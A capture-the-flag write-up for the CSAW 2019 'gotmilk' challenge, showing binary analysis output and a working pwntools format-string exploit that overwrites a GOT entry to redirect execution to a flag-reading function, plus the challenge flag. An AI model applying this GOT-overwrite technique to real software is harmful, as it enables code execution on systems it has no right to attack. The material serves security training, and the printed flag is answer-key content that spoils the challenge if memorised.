Overwrite GOT entry with format string on 32 bit binary.

Information

  • category : pwn
  • points : 50

Description

GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004

Two files : gotmilk, libmylib.so

Writeup

Let’s check the file type and security properties:

$ file gotmilk 
gotmilk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=703440832efdbe6e4cbf734b303a31c4da7eb4e2, with debug_info, not stripped

$ checksec --verbose --file=gotmilk
RELRO : Partial RELRO
STACK Canary : No 
NX : Enabled
PIE : No
RPATH : No RPATH
RUNPATH : No RUNPATH
Symbols : 76
Fortify : No
Fortified : 0
Fortifiable : 2 

If we try to execute the program we get an error because the loader can’t find the libmylib.so, to fix the error we need to copy the library in /usr/lib32.

Then we can easily ltrace the binary :

$ ltrace ./gotmilk
__libc_start_main(0x80485f6, 1, 0xffc1cc04, 0x80486d0 <unfinished ...>
setvbuf(0xf7f69d40, 0, 2, 0)                                    = 0
setvbuf(0xf7f69580, 0, 2, 0)                                    = 0
setvbuf(0xf7f69ca0, 0, 2, 0)                                    = 0
puts("Simulating loss..."Simulating loss...
)                                      = 19
lose(0, 0xc10000, 1, 0xf7fec800
No flag for you!
)                                = 18
printf("Hey you! GOT milk? "Hey you! GOT milk? )                                   = 19
fgets(aaa
"aaa\n", 100, 0xf7f69580)                                 = 0xffc1caec
printf("Your answer: "Your answer: )                                         = 13
printf("aaa\n"aaa
)                                                 = 4
lose(0, 0xc10000, 1, 0xa616161
No flag for you!
)                                 = 18
+++ exited (status 0) +++

As we can see the binary calls the function lose two times, let’s see what functions are available on libmylib.so using radare2.

$ r2 -d libmylib.so
[0xf7f77090]> aaa
[0xf7f77090]> afl
0xf7f77090    1 4            entry0
0xf7f771f8    2 49   -> 44   sym.lose
0xf7f77040    1 6            sym.imp.puts
0xf7f77189    6 111          sym.win
0xf7f770a0    4 57   -> 52   sym.deregister_tm_clones
0xf7f77185    1 4            sym.__x86.get_pc_thunk.dx
0xf7f770e0    4 71           sym.register_tm_clones
0xf7f77130    5 71           entry.fini0
0xf7f77080    1 6            sym..plt.got
0xf7f77180    1 5            entry.init0
0xf7f7722c    1 20           sym._fini
0xf7f77000    3 32           map.home_meowmeow_CeSeNA_pump_ctf_csaw_quals_2019_gotmilk_libmylib.so.r_x
0xf7f77030    1 6            sym.imp.fclose
0xf7f76000   32 4128 -> 4132 loc.imp._ITM_deregisterTMCloneTable
0xf7f77050    1 6            sym.imp.fopen
0xf7f77060    1 6            sym.imp.putchar
0xf7f77070    1 6            sym.imp.getc 

# We have a function called win, let's see...

/ (fcn) sym.win 111
|   sym.win ();
|           ; var int32_t var_10h @ ebp-0x10
|           ; var int32_t var_ch @ ebp-0xc
|           ; var int32_t var_4h @ ebp-0x4
|           0xf7f77189      55             push ebp
|           0xf7f7718a      89e5           mov ebp, esp
|           0xf7f7718c      53             push ebx
|           0xf7f7718d      83ec14         sub esp, 0x14
|           0xf7f77190      e8fbfeffff     call entry0
|           0xf7f77195      81c36b2e0000   add ebx, 0x2e6b
|           0xf7f7719b      83ec08         sub esp, 8
|           0xf7f7719e      8d8300e0ffff   lea eax, [ebx - 0x2000]
|           0xf7f771a4      50             push eax
|           0xf7f771a5      8d8302e0ffff   lea eax, [ebx - 0x1ffe]
|           0xf7f771ab      50             push eax
|           0xf7f771ac      e89ffeffff     call sym.imp.fopen          ; file*fopen(const char *filename, const char *mode)
|           0xf7f771b1      83c410         add esp, 0x10
|           0xf7f771b4      8945f4         mov dword [var_ch], eax
|           0xf7f771b7      837df400       cmp dword [var_ch], 0
|       ,=< 0xf7f771bb      7435           je 0xf7f771f2
|      ,==< 0xf7f771bd      eb0e           jmp 0xf7f771cd
|      ||   ; CODE XREF from sym.win @ 0xf7f771e2
|     .---> 0xf7f771bf      83ec0c         sub esp, 0xc
|     :||   0xf7f771c2      ff75f0         push dword [var_10h]
|     :||   0xf7f771c5      e896feffff     call sym.imp.putchar        ; int putchar(int c)
|     :||   0xf7f771ca      83c410         add esp, 0x10
|     :||   ; CODE XREF from sym.win @ 0xf7f771bd
|     :`--> 0xf7f771cd      83ec0c         sub esp, 0xc
|     : |   0xf7f771d0      ff75f4         push dword [var_ch]
|     : |   0xf7f771d3      e898feffff     call sym.imp.getc           ; int getc(FILE *stream)
|     : |   0xf7f771d8      83c410         add esp, 0x10
|     : |   0xf7f771db      8945f0         mov dword [var_10h], eax
|     : |   0xf7f771de      837df0ff       cmp dword [var_10h], 0xffffffffffffffff
|     `===< 0xf7f771e2      75db           jne 0xf7f771bf
|       |   0xf7f771e4      83ec0c         sub esp, 0xc
|       |   0xf7f771e7      ff75f4         push dword [var_ch]
|       |   0xf7f771ea      e841feffff     call sym.imp.fclose         ; int fclose(FILE *stream)
|       |   0xf7f771ef      83c410         add esp, 0x10
|       |   ; CODE XREF from sym.win @ 0xf7f771bb
|       `-> 0xf7f771f2      90             nop
|           0xf7f771f3      8b5dfc         mov ebx, dword [var_4h]
|           0xf7f771f6      c9             leave
\           0xf7f771f7      c3             ret

Ok, so the win function open a file, to check which file we can see the strings that are in the library :

$ rabin2 -z libmylib.so 
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00002002 0x00002002   8   9 (.rodata) ascii flag.txt
001 0x0000200b 0x0000200b  17  18 (.rodata) ascii \nNo flag for you!

Without too many problems is easy to see that the fopen in the win function will read "flag.txt". An alternative way was to use cutter or ghidra.

How to pwn?

From the ltrace we can see that this binary is vulnerable to a format string, let’s prove it :

$ python -c 'print("aaaa" + "%08x." * 10)' | ./gotmilk 
Simulating loss...

									 #offset...
No flag for you!                       #1      #2       #3       #4       #5       #6       #7
Hey you! GOT milk? Your answer: aaaa00000064.f7f4d580.0804866f.00000000.00c10000.00000001.61616161.78383025.3830252e.30252e78.

No flag for you!

Ok, we have also computed the offset that we need to redirect the %n, now we need to see which values we need to write :

from pwn import *
lib = ELF('./libmylib.so')
print hex(lib.symbols['lose'])
print hex(lib.symbols['win'])

output :

0x11f8	# lose 
0x1189	# win
# Only the last byte change 

Alternative way using gdb:

$ gdb -q ./gotmilk
pwndbg> start
p win
$1 = {void (void)} 0xf7f7e189 <win>
pwndbg> p lose
$2 = {void (void)} 0xf7f7e1f8 <lose>
# Only the last byte change

Then we need to know the address of lose in the GOT (we need to overwrite that value with the memory address of win).

pwndbg> disass main
Dump of assembler code for function main:
   0x080485f6 <+0>:     lea    ecx,[esp+0x4]
   0x080485fa <+4>:     and    esp,0xfffffff0
   0x080485fd <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048600 <+10>:    push   ebp
   0x08048601 <+11>:    mov    ebp,esp
   0x08048603 <+13>:    push   ebx
   0x08048604 <+14>:    push   ecx
   0x08048605 <+15>:    sub    esp,0x70
   0x08048608 <+18>:    call   0x8048530 <__x86.get_pc_thunk.bx>
   0x0804860d <+23>:    add    ebx,0x19f3
   0x08048613 <+29>:    mov    eax,DWORD PTR [ebx-0x4]
   0x08048619 <+35>:    mov    eax,DWORD PTR [eax]
   0x0804861b <+37>:    push   0x0
   0x0804861d <+39>:    push   0x2
   0x0804861f <+41>:    push   0x0
   0x08048621 <+43>:    push   eax
   0x08048622 <+44>:    call   0x80484c0 <setvbuf@plt>
   0x08048627 <+49>:    add    esp,0x10
   0x0804862a <+52>:    mov    eax,DWORD PTR [ebx-0x8]
   0x08048630 <+58>:    mov    eax,DWORD PTR [eax]
   0x08048632 <+60>:    push   0x0
   0x08048634 <+62>:    push   0x2
   0x08048636 <+64>:    push   0x0
   0x08048638 <+66>:    push   eax
   0x08048639 <+67>:    call   0x80484c0 <setvbuf@plt>
   0x0804863e <+72>:    add    esp,0x10
   0x08048641 <+75>:    mov    eax,DWORD PTR [ebx-0x10]
   0x08048647 <+81>:    mov    eax,DWORD PTR [eax]
   0x08048649 <+83>:    push   0x0
   0x0804864b <+85>:    push   0x2
   0x0804864d <+87>:    push   0x0
   0x0804864f <+89>:    push   eax
   0x08048650 <+90>:    call   0x80484c0 <setvbuf@plt>
   0x08048655 <+95>:    add    esp,0x10
   0x08048658 <+98>:    sub    esp,0xc
   0x0804865b <+101>:   lea    eax,[ebx-0x18b0]
   0x08048661 <+107>:   push   eax
   0x08048662 <+108>:   call   0x80484a0 <puts@plt>
   0x08048667 <+113>:   add    esp,0x10
   0x0804866a <+116>:   call   0x8048480 <lose@plt>
   0x0804866f <+121>:   sub    esp,0xc
   0x08048672 <+124>:   lea    eax,[ebx-0x189d]
   0x08048678 <+130>:   push   eax
   0x08048679 <+131>:   call   0x8048470 <printf@plt>
   0x0804867e <+136>:   add    esp,0x10
   0x08048681 <+139>:   mov    eax,DWORD PTR [ebx-0x8]
   0x08048687 <+145>:   mov    eax,DWORD PTR [eax]
   0x08048689 <+147>:   sub    esp,0x4
   0x0804868c <+150>:   push   eax
   0x0804868d <+151>:   push   0x64
   0x0804868f <+153>:   lea    eax,[ebp-0x6c]
   0x08048692 <+156>:   push   eax
   0x08048693 <+157>:   call   0x8048490 <fgets@plt>
   0x08048698 <+162>:   add    esp,0x10
   0x0804869b <+165>:   sub    esp,0xc
   0x0804869e <+168>:   lea    eax,[ebx-0x1889]
   0x080486a4 <+174>:   push   eax
   0x080486a5 <+175>:   call   0x8048470 <printf@plt>
   0x080486aa <+180>:   add    esp,0x10
   0x080486ad <+183>:   sub    esp,0xc
   0x080486b0 <+186>:   lea    eax,[ebp-0x6c]
   0x080486b3 <+189>:   push   eax
   0x080486b4 <+190>:   call   0x8048470 <printf@plt>
   0x080486b9 <+195>:   add    esp,0x10
   0x080486bc <+198>:   call   0x8048480 <lose@plt>	# Disass here
   0x080486c1 <+203>:   mov    eax,0x0
   0x080486c6 <+208>:   lea    esp,[ebp-0x8]
   0x080486c9 <+211>:   pop    ecx
   0x080486ca <+212>:   pop    ebx
   0x080486cb <+213>:   pop    ebp
   0x080486cc <+214>:   lea    esp,[ecx-0x4]
   0x080486cf <+217>:   ret    
End of assembler dump.
pwndbg> disass 0x8048480
Dump of assembler code for function lose@plt:
   0x08048480 <+0>:     jmp    DWORD PTR ds:0x804a010
   0x08048486 <+6>:     push   0x8
   0x0804848b <+11>:    jmp    0x8048460
End of assembler dump.
pwndbg> x 0x804a010
# lose_got						# Here we need to set the address of win 
0x804a010 <lose@got.plt>:       0x08048486

Now we just need to write in the last byte of 0x804a010 0x89 = 137 (last byte of win). To do it we can use %7$hhn (no h = write 4 bytes, one h = write 2 bytes, two h = write 1 byte).

Exploit

from pwn import *

conn = remote('pwn.chal.csaw.io', 1004)
lose_got = 0x0804a010
# %133x because we already write 4 bytes with p32(lose_got)
payload = p32(lose_got) + "%133x" + "%7$hhn"

log.info(conn.recvuntil('milk? '))
conn.sendline(payload)
log.info(conn.recvline())
log.info(conn.recvline())

Flag

flag{y0u_g00000t_mi1k_4_M3!?}